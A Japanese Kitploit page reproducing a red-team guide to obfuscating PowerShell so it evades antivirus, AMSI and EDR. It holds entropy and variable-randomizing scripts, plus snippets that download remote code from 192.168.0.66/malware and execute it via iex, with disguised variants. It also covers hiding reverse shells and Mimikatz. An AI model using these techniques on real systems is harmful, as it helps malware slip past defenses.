Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
PowerShell-Obfuscation-Bible — AV 回避を達成するために PowerShell スクリプトを手動で難読化するためのテクニック、例、および少しの理論のコレクションで、教育目的でまとめられています。このリポジトリの内容は、オンラインの資料を読んだり、ラボやペンテストで試行錯誤を繰り返したりするなど、個人の研究の結果です。 | Kitploit
ツール/GitHubGitHub/t3l3machus/powershell-obfuscation-bible
IDS/IPS回避ペネトレーションテスト学習と教育レッドチーミング厳選リソースペイロード開発
GitHubt3l3machus/powershell-obfuscation-bible

PowerShell-Obfuscation-Bible

AV 回避を達成するために PowerShell スクリプトを手動で難読化するためのテクニック、例、および少しの理論のコレクションで、教育目的でまとめられています。このリポジトリの内容は、オンラインの資料を読んだり、ラボやペンテストで試行錯誤を繰り返したりするなど、個人の研究の結果です。

リポジトリを見る
1.2k13952年前Kitploit レビュー済み

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

PowerShell 難読化バイブル

Python License

PowerShell スクリプトを手動で難読化し、シグネチャベースの検知を回避するためのテクニック、実例、そして少しの理論をまとめた教育目的のコレクションです。このリポジトリの内容は個人調査の結果であり、オンライン資料の読解や、ラボやペンテストでの試行錯誤を含みます。何を鵜呑みにしないでください。

YouTube 動画プレゼンテーション: youtube.com/watch?v=tGFdmAh_lXE

⚠️ 免責事項: このリポジトリに記載された技術や概念を、テスト許可のないシステムへの不正アクセスに使用することは違法です。行動の責任はあなたにあります。邪悪にならないでください。

目次

  1. エントロピー
  2. 検知トリガーの特定
  3. オブジェクト名の変更
  4. ブール値の難読化
  5. コマンドレットのクォート割り込み
  6. コマンドレットのキャレット割り込み
  7. Get-Command テクニック
  8. ループの置換
  9. コマンドの置換
  10. 文字列をかき乱す
ジャンクを追加する
  • コメントの追加または削除
  • 文字の大文字小文字をランダム化する
  • スクリプト構成要素の並べ替え
  • スクリプトを1行ずつ実行する
  • エントロピー

    エントロピーという科学用語は、一般にシステムのランダム性または無秩序さの尺度と定義され、AV回避において重要です。なぜなら、マルウェアは分析や検知を困難にするために、高度にランダム化・暗号化・エンコード(難読化)されたコードを含むことが多いからです。アンチウイルス製品は、さまざまな方法の1つとして、エントロピー分析を使用して潜在的に悪意のあるファイルやペイロードを識別します。

    この概念を理解することは重要です。コードを難読化する際、自分が選んだ変更によって生じるエントロピーの変動に注意する必要があるからです。シグネチャを破るのは簡単ですが、エントロピーレベルに注意を払わなければ、高度なAV/EDRはそれを見抜きます。

    心に留めておくべき原則: エントロピーが大きいほど、データが難読化または暗号化されている可能性が高く、ファイル/ペイロードが悪意のあるものである可能性が高くなります。幸い、それを下げる方法があります。

    Claude E. Shannon は、1948年の論文 A Mathematical Theory of Communication で、データセット内のエントロピーを測定するために使用できる公式を紹介しました。以下は、開発するペイロードのエントロピーを測定するために使用できる Shannon Entropy のシンプルなPython実装です:

    root@kitploit:~
    #!/bin/python3
    # Usage: python3 entropy.py <file>
    
    import math, sys
    
    def entropy(string):
        "Calculates the Shannon entropy of a UTF-8 encoded string"
    
        # decode the string as UTF-8
        unicode_string = string.decode('utf-8')
    
        # get probability of chars in string
        prob = [ float(unicode_string.count(c)) / len(unicode_string) for c in dict.fromkeys(list(unicode_string)) ]
    
        # calculate the entropy
        entropy = - sum([ p * math.log(p) / math.log(2.0) for p in prob ])
    
        return entropy
    
    
    f = open(sys.argv[1], 'rb')
    content = f.read()
    f.close()
    
    print(entropy(content))
    

    オンラインの Shannon Entropy calculator または Microsoft の Sigcheck.exe を -a オプション付きで使用することもできます。

    検知トリガーの特定

    フラグされないペイロードのバリエーションを生み出すために試行錯誤の難読化テストに飛び込む前に、成熟したエレガントな方法は、スクリプト内でマルウェア検知をトリガーする部分を特定することです。特にC2コマンドのような短いスクリプトでは、些細な変更を加えるだけで即座にレーダーから外れるかもしれません。

    そのようなトリガーを特定するための優れたツールは AMSITrigger です。悪意のあるスクリプトを含むファイルでの使用例を示します。赤い領域は難読化を適用すべき部分を示しています:

    image

    スクリプトをチャンクごとに実行して手動でトリガーを特定することもできます。

    オブジェクト名の変更

    スクリプトを難読化する際、変数/クラス/関数名をランダムなものに置き換えることを優先すべきです。そうすることで、他のテクニックと組み合わせて、簡単に検知を回避できます。ただし、開発するペイロードのエントロピーに注意する必要があります。次の標準的なリバースシェルスクリプトを考えてみてください。これは、すべてではないにしてもほとんどのAVに検知される一般的なものです:

    image

    次に、以下の難読化バージョンを考えてみましょう:

    image

    このバージョンでは、すべての変数名が32文字のランダムな名前に置き換えられています。また、(pwd).Path を $(gl) に置き換えました。このペイロードのShannon entropyは4.96です。これを書いている時点では、MS Defender や他の多くの製品に検知されていません:

    image

    次にこのバージョンを考えてみましょう:

    image

    このバリエーションもすべての変数名が置き換えられていますが、今回は 'f' 文字を x 個並べた名前になっており、その結果ペイロードのエントロピーが大幅に低下しています。ここでも (pwd).Path を $(gl) に置き換えました。繰り返しますが、これを書いている時点で MS Defender には検知されていません。このペイロードのShannon entropyは0.76です。

    image

    ⚡ これらのバリエーションはどちらも一般的なAVを回避できますが、2番目のものはエントロピーが低く、EDRや他の高度なアンチマルウェアエンジンによって処理される際により良い可能性があります。⚠️ この例における2番目のペイロードのパフォーマンスが優れているのは、確かにエントロピーレベルのせいだと言っているわけではありません(実際には長さやその両方、あるいは何か他の理由かもしれません)。しかし、難読化する際に念頭に置くべき重要な側面であり、この例はその概念を強調するためのものです。

    以下のスクリプトを使用して、PowerShellスクリプト内の変数名をランダム化できます。⚠️ このスクリプトは完璧ではありません!大規模で複雑なPowerShellスクリプトに対して実行すると、置き換えるべきでないものまで置き換えて機能を壊す可能性があります。注意して使用してください。

    root@kitploit:~
    #!/bin/python3
    #
    # This script is an example. It is not perfect and you should use it with caution.
    # Source: https://github.com/t3l3machus/PowerShell-Obfuscation-Bible
    # Usage: python3 randomize-variables.py <path/to/powershell/script>
    
    import re
    from sys import argv
    from uuid import uuid4
    
    def get_file_content(path):
    	f = open(path, 'r')
    	content = f.read()
    	f.close()
    	return content
    	
    
    def main():
    
    	payload = get_file_content(argv[1])
    	used_var_names = []
    
    	# Identify variables definitions in script
    	variable_definitions = re.findall('\$[a-zA-Z0-9_]*[\ ]{0,}=', payload)
    	variable_definitions.sort(key=len)
    	variable_definitions.reverse()
    
    	# Replace variable names
    	for var in variable_definitions:
    		
    		var = var.strip("\n \r\t=")
    
    		while True:
    			
    			new_var_name = uuid4().hex
    			
    			if (new_var_name in used_var_names) or (re.search(new_var_name, payload)):
    				continue
    				
    			else:
    				used_var_names.append(new_var_name)
    				break	
    						
    		payload = payload.replace(var, f'${new_var_name}')
    	
    	print(payload + '\n')
    
    	
    main()
    

    ブール値の難読化

    $True と $False の値を他のブール等価表現に置き換えるのは、とても楽しく簡単で、その数は文字通り無限です。特に、ペイロード内の検知トリガーを特定し、それに $True または $False の値が含まれている場合、単にブール代替表現に置き換えるだけで検知を回避できる可能性があります。以下の例はすべて True と評価されます。式の前に感嘆符を追加するだけで False に反転できます(例: ![bool]0x01):

    • 文字通り、0、Null、空文字列以外の任意のもののブール型キャストは True を返します:
    root@kitploit:~
    [bool]1254
    [bool]0x12AE
    [bool][convert]::ToInt32("111011", 2) # Converts a string to int from base 2 (binary)
    ![bool]$null
    ![bool]$False
    [bool]"Any non empty string"
    [bool](https://github.com/t3l3machus/powershell-obfuscation-bible/blob/main/-12354893)   # Boolean typecast of a negative number 
    [bool](12 + (3 * 6))
    [bool](Get-ChildItem -Path Env: | Where-Object {$_.Name -eq "username"})
    [bool]@(0x01BE)
    [bool][System.Collections.ArrayList]
    [bool][System.Collections.CaseInsensitiveComparer]
    [bool][System.Collections.Hashtable]
    
    # Well, you get the point.
    
    • 任意のクラスのブール型キャストも True を返します:
    root@kitploit:~
    [bool][bool]
    [bool][char]
    [bool][int] 
    [bool][string]
    [bool][double]
    [bool][short]
    [bool][decimal]
    [bool][byte]
    [bool][timespan]
    [bool][datetime]
    
    • True と評価される比較の結果(当然):
    root@kitploit:~
    (9999 -eq 9999)
    ([math]::Round([math]::PI) -eq (4583 - 4580))
    [Math]::E -ne [Math]::PI
    
    • または、オブジェクトの属性から True 値を取得するだけでも構いません:
    root@kitploit:~
    $x = [System.Data.AcceptRejectRule].Assembly.GlobalAssemblyCache
    $x = [System.TimeZoneInfo+AdjustmentRule].IsAnsiClass
    $x = [mailaddress].IsAutoLayout
    $x = [ValidateCount].IsVisible
    
    • これらすべてを混ぜ合わせて、True または False を表現する不格好な方法を構成することで、奇妙なことをさらに奇妙にできます:
    root@kitploit:~
    [bool](https://github.com/t3l3machus/powershell-obfuscation-bible/blob/main/%21%5Bbool%5D%24null)
    [System.Collections.CaseInsensitiveComparer] -ne [bool][datetime]'2023-01-01'
    [bool]$(Get-LocalGroupMember Administrators)
    !!!![bool][bool][bool][bool][bool][bool]
    

    コマンドレットのクォート割り込み

    コマンドレットの文字の間に、先頭でなければ単一引用符や二重引用符を追加することで、コマンドレットを難読化できます。非常に効果的です!例えば、式 iex "pwd" は次のように置き換えられます:

    root@kitploit:~
    i''ex "pwd"
    i''e''x "pwd"
    i''e''x'' "pwd"
    ie''x'' "pwd"
    iex'' "pwd"
    i""e''x"" "pwd"
    ie""x'' "pwd"
    
    # and so on... but also:
    
    i''ex "p''wd"
    i''e''x "p''w''d"
    i''e''x'' "p''w''d''"
    ie''x'' "pw''d`"`""
    iex'' "p`"`"w`"`"d`"`""
    i""e''x"" "p`"`"w`"`"d''"
    ie""x'' "p`"`"w''d`"`""
    
    # You get the point.
    

    コマンドレットのキャレット割り込み

    これは少し汚いですが、役立つかもしれません。Windows CMD ターミナルでは、コマンドの文字の間にキャレット(^)記号を挿入しても、通常どおり解釈されます。PowerShell スクリプトでこれを利用する方法の1つは次のとおりです:

    root@kitploit:~
    cmd /c "who^am^i"
    

    Untistled

    Get-Command テクニック

    私の友人であり強力なハッカーである Karol Musolff (@kmusolff) が教えてくれた本当にクールなトリックです。Get-Command(または gcm)を使用して、ワイルドカードを使うことで、Path 環境変数 ($env:Path) 内のすべての非PowerShellファイルを含む、任意のコマンドの名前(文字列)を取得できます。その後、& 演算子でジョブとして実行できます。例えば、次の行:

    root@kitploit:~
    Invoke-RestMethod -uri https://192.168.0.66/malware | iex
    

    次のように難読化できます:

    root@kitploit:~
    &(Get-Command i????e-rest*) -uri https://192.168.0.66/malware | &(gcm i*x)
    

    あるいはさらに良い、Shannon entropy 値がより低い次のもの:

    root@kitploit:~
    &(Get-Command i************************************************************e-rest*) -uri https://192.168.0.66/malware | &(gcm i*x)
    

    ループの置換

    特定のループは、他のループタイプや関数に置き換えることができます。例えば、While ($True){ # some code } ループは次のように置き換えられます:
    無限 For ループ

    root@kitploit:~
    For (;;) { # some code }
    

    Do-While ループ

    root@kitploit:~
    Do { # some code } While ($true)
    

    Do-Until ループ

    root@kitploit:~
    Do { # some code } Until (1 -eq 2)
    

    再帰関数

    root@kitploit:~
    function runToInfinity { 
     # do something;  
     runToInfinity;
    }
    

    ジャンクを追加する

    パラメータの追加/削除

    コマンドレットにパラメータを追加してみることができます。例えば、次の行:

    root@kitploit:~
    iex "whoami"
    

    次のように拡張できます:

    root@kitploit:~
    iex -Debug -Verbose -ErrorVariable $e -InformationAction Ignore -WarningAction Inquire "whoami"
    

    もちろん、その逆を試しても構いません。

    ランダムなオブジェクトの追加

    スクリプトにランダムな変数や関数を「混入」させることができます。次のスクリプトを悪意のあるものと仮定します:

    root@kitploit:~
    $b64 = $(irm -uri http://192.168.0.66/malware); 
    $virus = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($b64));
    iex $virus;
    

    次のようなことをすることで、そのシグネチャを壊せるかもしれません:

    root@kitploit:~
    $b64 = $(irm -uri http://192.168.0.66/malware); sleep 0.01;sleep 0.01;Get-Process | Out-Null;
    $virus = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($b64));sleep 0.01;sleep 0.01;Measure-Object | Out-Null;
    iex $virus;
    

    コマンドの置換

    スクリプト内で、同じ/類似の機能を持つコンポーネントに置き換えられるコマンドやコードブロック全体を常に探すことができます。次の古典的なリバースシェルスクリプトでは、現在の作業ディレクトリを取得してシェルのプロンプト値を再構築するために pwd コマンドが使用されています:
    image

    (pwd).Path の部分は、次の風変わりで型にはまらない小さなスクリプトに置き換えることができます。これには pwd さえ含まれていますが、スクリプトの機能を維持しながらシグネチャを壊すという目的には役立ちます:

    root@kitploit:~
    "$($p = (Split-Path `"$(pwd)\\0x00\`");if ($p.trim() -eq ''){echo 'C:\'}else{echo $p})"
    

    もちろん、pwd のより単純な代替として gl、get-location、cmd.exe /c chdir などもあります。特に他のテクニックと組み合わせることで効果を発揮するでしょう。

    文字列をかき乱す

    文字列でできることには終わりがありません。以下にいくつかの興味深いコンセプトを示します。例では文字列 'malware' を使用しています:

    文字列をヒア文字列に変換する

    数行の追加を犠牲にして、文字列をヒア文字列に変換できます。
    これ:

    root@kitploit:~
    $x = 'echo malware';
    iex $x;
    

    は以下と同じです:

    root@kitploit:~
    $x = 'echo malware';
    iex @"
    $x
    "@
    

    文字列を逆順にする

    root@kitploit:~
    $x="Your string reversed".ToCharArray(); [array]::reverse($x); $x -join ""
    

    連結

    非常に単純で古典的:

    root@kitploit:~
    'mal' + 'w' + 'ar' + 'e'
    

    部分文字列から文字列を取得する

    無関係な文字列の間に目的の値を追加し、substring() を使用して開始位置と終了位置のインデックスに基づいて抽出します:

    root@kitploit:~
    'xxxmalwarexxx'.Substring(3,7)
    

    正規表現マッチによる文字列の置換

    ジャンク文字列を作成し、正規表現マッチングを介して目的の値に置き換えます:

    root@kitploit:~
    'a123' -replace '[a-zA-Z]{1}[\d]{1,3}','malware'
    

    目的の文字列をBase64デコードする

    文字列をエンコードし、スクリプト内でデコードします:

    root@kitploit:~
    [System.Text.Encoding]:https://raw.githubusercontent.com/t3l3machus/powershell-obfuscation-bible/main/:Default.GetString(%5BSystem.Convert%5D::FromBase64String(%22bWFsd2FyZQ==%22))
    

    バイトから目的の文字列の文字を取得する

    root@kitploit:~
    "$([char](https://github.com/t3l3machus/powershell-obfuscation-bible/blob/main/%5Bbyte%5D0x6d)+[char](https://github.com/t3l3machus/powershell-obfuscation-bible/blob/main/%5Bbyte%5D0x61)+[char](https://github.com/t3l3machus/powershell-obfuscation-bible/blob/main/%5Bbyte%5D0x6c)+[char](https://github.com/t3l3machus/powershell-obfuscation-bible/blob/main/%5Bbyte%5D0x77)+[char](https://github.com/t3l3machus/powershell-obfuscation-bible/blob/main/%5Bbyte%5D0x61)+[char](https://github.com/t3l3machus/powershell-obfuscation-bible/blob/main/%5Bbyte%5D0x72)+[char](https://github.com/t3l3machus/powershell-obfuscation-bible/blob/main/%5Bbyte%5D0x65))"
    

    これはほんの入り口にすぎません。続く...

    コメントの追加または削除

    コメントの追加

    スクリプトのあちこちにコメントを追加して難読化するだけで、それ自体が効果を発揮するかもしれません。
    例えば、リバースシェルコマンドは次のように難読化できます:

    オリジナル(AVに容易に検知される一般的なr-shellコマンド)

    image

    変更後(さまざまな場所に <# Suspendisse imperdiet lacus eu tellus pellentesque suscipit #> を追加)

    image

    これは効果があるだけでなく、ペイロードのShannon entropy値も下げます(複雑なランダムコメントを使用しない場合)。

    コメントの削除

    即座にAMSIをトリガーするマルウェアっぽい文字列があります。スクリプトを難読化する際は、それらを置き換えることを優先すべきです。これを見てください:
    image

    ターミナルに 'invoke-mimikatz' という文字列を入力するだけで、AMSIは発作を起こします(スクリプトは存在すらしていません/ロードされていません)。
    これらの文字列はコメントにも含まれている場合があるため、特にインターネットから入手したFOSリソース(例: GitHub の Invoke-Mimikatz.ps1)からは削除することをお勧めします。

    *一般的にコメントを削除するのは良い考えです。これは単なる例です。

    文字の大文字小文字をランダム化する

    おそらく最も古典的なトリックです。コマンドレットやパラメータの文字の大文字小文字をランダム化すると効果があるかもしれません:

    root@kitploit:~
    inVOkE-eXpReSSioN -vErbOse "WHoAmI /aLL" -dEBug
    

    スクリプト構成要素の並べ替え

    単に変数やクラスを別の場所に移動するだけで効果がある場合があります。特に、検知トリガーを見つけ、それがスクリプトの先頭など別の場所で行われている可能性のある変数定義を含む場合に有効です。

    スクリプトを1行ずつ実行する

    場合によっては、悪意のあるスクリプトを単純に1行ずつ実行するだけでAV回避を達成できることがあります。もちろん、状況によってはこれをやり遂げるのは難しいかもしれません。試す場合は、ループ、try-catchブロック、条件文、関数定義など、全体として実行する必要があるスクリプトブロックに注意してください。これをテストするには、一般的なPowerShellリバースシェルスクリプト(難読化なし)を取得して1行ずつ実行してみてください。フラグされるでしょうか? ;)

    ツールをダウンロード